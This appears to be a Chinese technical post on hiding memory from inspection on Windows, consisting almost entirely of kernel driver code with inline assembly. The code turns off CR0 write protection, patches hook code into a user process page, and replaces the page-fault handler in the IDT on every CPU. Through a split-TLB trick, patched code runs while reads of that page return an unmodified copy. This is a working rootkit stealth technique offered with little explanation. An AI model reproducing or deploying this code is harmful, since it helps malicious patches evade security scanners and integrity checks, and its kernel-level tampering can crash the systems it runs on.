Windows内存隐藏技术初探

case IOCTL_SHADOWHOOK:
//Shadow Hook!!
g_ulHookPid = (ULONG)PsGetCurrentProcessId();
g_ulHookProcessCr3 = GetCR3();
if( g_pbyCode == NULL)
{
g_pbyCode = ExAllocatePoolWithTag( PagedPool, 4*1024, 'SWHK');
g_pMdl = IoAllocateMdl( g_pbyCode, 4*1024, FALSE, FALSE, NULL);
if ( g_pMdl == NULL)
{
ExFreePool( g_pbyCode);
g_pbyCode = NULL;
break;
}
else
{
__try
{
MmProbeAndLockPages( g_pMdl, KernelMode, IoReadAccess);
g_blIsLocked = TRUE;
}
__except( EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(g_pMdl);
g_pMdl = NULL;
ExFreePool( g_pbyCode);
g_pbyCode = NULL;
g_blIsLocked = FALSE;
}
}
}
RtlZeroMemory( g_pbyCode, 4*1024);
pstShadowHookInfo = (PSHADOW_HOOK_INFO)Irp->AssociatedIrp.SystemBuffer;
RtlCopyMemory( g_pbyCode, (PVOID)(pstShadowHookInfo->ulStartAddr & 0xFFFFF000), 4*1024);
SetCopyOnWrite( (PVOID)pstShadowHookInfo->ulStartAddr);
g_ulHookCodeLen = pstShadowHookInfo->ulLength;

_asm
{//关闭内存写保护
cli;
mov eax,cr0;
and eax,0fffeffffh;
mov cr0,eax;
}
RtlCopyMemory( (PVOID)pstShadowHookInfo->ulStartAddr, (PVOID)pstShadowHookInfo->pbyHookCode, pstShadowHookInfo->ulLength);

_asm
{//重新打开内存写保护
mov eax,cr0;
or eax,0x10000;
mov cr0, eax;
sti;
}

CpuCount = *KeNumberProcessors;
while( CpuCount > 0)
{
KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU
HookMemoryPage( (PVOID)pstShadowHookInfo->ulStartAddr, g_pbyCode, (PVOID)pstShadowHookInfo->pfnNullSub);
CpuCount--;
}
g_blIsHookedPage = TRUE;
ntStatus = HookTrap0E();
if( !NT_SUCCESS(ntStatus))
{
DbgPrint( "HookTrap0E fail.\r\n");
}
break;

Hook Trap0E
NTSTATUS HookTrap0E()
{
CCHAR CpuCount = 0;
PIDTENTRY    IdtEntry = NULL;
IDTR stIdtr = {0};

if( g_blIsHookTrapE0)
return STATUS_UNSUCCESSFUL;

CpuCount = *KeNumberProcessors;
while( CpuCount > 0)
{
KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU

//得到 IDTR 中得段界限与基地址
_asm sidt stIdtr;
IdtEntry = (PIDTENTRY)stIdtr.Base;

//保存原有得 IDT
RtlCopyMemory(&g_IdtEntryOld, &IdtEntry[0x0E], sizeof(g_IdtEntryOld));

_asm cli;//禁止中断
g_ulOldTrap0E = (ULONG)IdtEntry[0x0E].OffsetLow | ((ULONG)IdtEntry[0x0E].OffsetHigh<<16);
IdtEntry[0x0E].OffsetLow   = (unsigned short)NewTrap0E;
IdtEntry[0x0E].OffsetHigh  = (unsigned short)((unsigned int)NewTrap0E>>16);
_asm sti;//开中断

CpuCount--;
}
g_blIsHookTrapE0 = TRUE;
return STATUS_SUCCESS;
}

void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
PVOID pfnCallIntoHookedPage)
{
PPTE ExecutePte;
g_pExecutePage = pExecutePage;
g_pReadWritePage = pReadWritePage;
g_pfnCallIntoHookedPage = pfnCallIntoHookedPage;
__asm cli; //关中断
ExecutePte = GetPteAddress( pExecutePage);
g_pReadWritePTE = GetPteAddress( pReadWritePage);
g_ExecutePTE = ExecutePte;

//这里因为我们是Hook ring3页面，所以不用EnableGlobalPageFeature
//EnableGlobalPageFeature( ExecutePte);

//标记页面为不存在
MarkPageNotPresent( ExecutePte);

//清空TLB入口
__asm invlpg pExecutePage

__asm sti //reenable interrupts
}//end HookMemoryPage

#pragma optimize( "", off )
void __declspec (naked) NewTrap0E(void)
{
__asm
{
pushad
mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
test edx, 1  //不是缺页错误
jne PassDown

//通过CR3判断当前进程
mov eax, cr3
cmp eax, g_ulHookProcessCr3
jnz PassDown

mov eax,cr2     //faulting virtual address
////////////////////////////////////////
//判断是否是Hook掉的page
/////////////////////////////////////////
mov ebx, g_pExecutePage
and  ebx, 0xFFFFF000
and  eax, 0xFFFFF000
cmp eax, ebx
mov eax, cr2
jnz PassDown  //不是，传下去

///////////////////////////////////////
//下面处理Hook掉的页面了
/////////////////////////////////////
mov eax, cr2
push eax
push eax
call GetPteAddress
mov ebx, eax  //ebx = pPte
pop eax
cmp [esp+0x24], eax     //判断是执行出错还是读写时出错?
je LoadITLB

//判断是否是Hook的那些字节
cmp eax, g_pExecutePage
jb  LoadDTLB
sub eax, g_pExecutePage
cmp eax, g_ulHookCodeLen
jg  LoadDTLB
jmp LoadFakeFrame
LoadITLB:
////////////////////////////////
//是一次执行操作，所以Load ITLB
///////////////////////////////
cli
or dword ptr [ebx], 0x01         //标志页面为存在
call g_pfnCallIntoHookedPage //通过调用一下那个页面内的代码，装载ITLB
and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在
//sti
jmp ReturnWithoutPassdown

////////////////////////////////
// 这是读写造成的异常，并且不在我们要隐藏的代码范围内，Load DTLB
///////////////////////////////
LoadDTLB:
cli
mov eax,cr2
or dword ptr [ebx], 0x01           //mark the page present
mov eax, dword ptr [eax]           //load the DTLB
and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
//sti
jmp ReturnWithoutPassdown

/////////////////////////////////
//需要隐藏这段代码，所以Load伪装的页面
/////////////////////////////////

LoadFakeFrame:
mov eax, cr2
mov esi, g_pReadWritePTE
mov ecx, dword ptr [esi]            //ecx = PTE of the
//read / write page
//把页面替换为假的
mov edi, [ebx]
and edi, 0x00000FFF //preserve the lower 12 bits of the
//faulting page's PTE
and ecx, 0xFFFFF000 //isolate the physical address in
//the "fake" page's PTE
or ecx, edi
mov edx, [ebx]     //save the old PTE so we can replace it
cli
mov [ebx], ecx    //replace the faulting page's phys frame
//address w/ the fake one
//load DTLB
or dword ptr [ebx], 0x01   //标志为存在
mov eax, cr2               //faulting virtual address
mov eax, dword ptr[eax]    //访问一次页面的数据，Load DTLB
and dword ptr [ebx], 0xFFFFFFFE //重新标志为不存在

//Finally, restore the original PTE
mov [ebx], edx
//sti

ReturnWithoutPassDown:
popad
add esp,4
sti
iretd

PassDown:
popad
jmp g_ulOldTrap0E

}//end asm
}
#pragma optimize( "", on )